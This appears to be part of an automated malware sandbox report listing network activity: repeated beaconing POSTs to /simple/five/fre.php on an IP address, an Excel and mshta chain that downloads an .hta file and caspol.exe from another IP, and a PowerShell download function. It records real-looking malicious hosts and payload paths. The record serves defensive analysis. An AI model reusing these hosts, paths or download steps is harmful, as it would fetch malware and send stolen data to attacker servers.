Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close

Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.136

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 5_2_000007FE891A4B18 URLDownloadToFileW,

5_2_000007FE891A4B18

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A869FC32.emf

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestion HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: provit.ukConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestion HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: provit.ukConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestion HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: provit.ukConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestion HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: provit.ukConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.243.136Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Range: bytes=8896-Connection: Keep-AliveHost: 192.3.243.136If-Range: "2c850-6274dfb369376"
Source: global traffic	HTTP traffic detected: GET /55/caspol.exe HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.243.136Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)If-Modified-Since: Wed, 20 Nov 2024 01:22:20 GMTConnection: Keep-AliveHost: 192.3.243.136If-None-Match: "2c850-6274dfb369376"

Source: mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: global traffic

DNS traffic detected: DNS query: provit.uk

Source: unknown

HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 176Connection: close

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:56:57 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:56:59 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:00 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:01 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:02 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:03 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:05 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:06 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:07 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:09 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:09 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:11 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:12 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:12 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:14 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:15 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:16 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:17 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:18 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:18 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:19 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:21 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:25 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:26 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:27 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:27 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:28 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:29 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:30 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:31 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:32 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:33 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:34 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:35 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:36 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
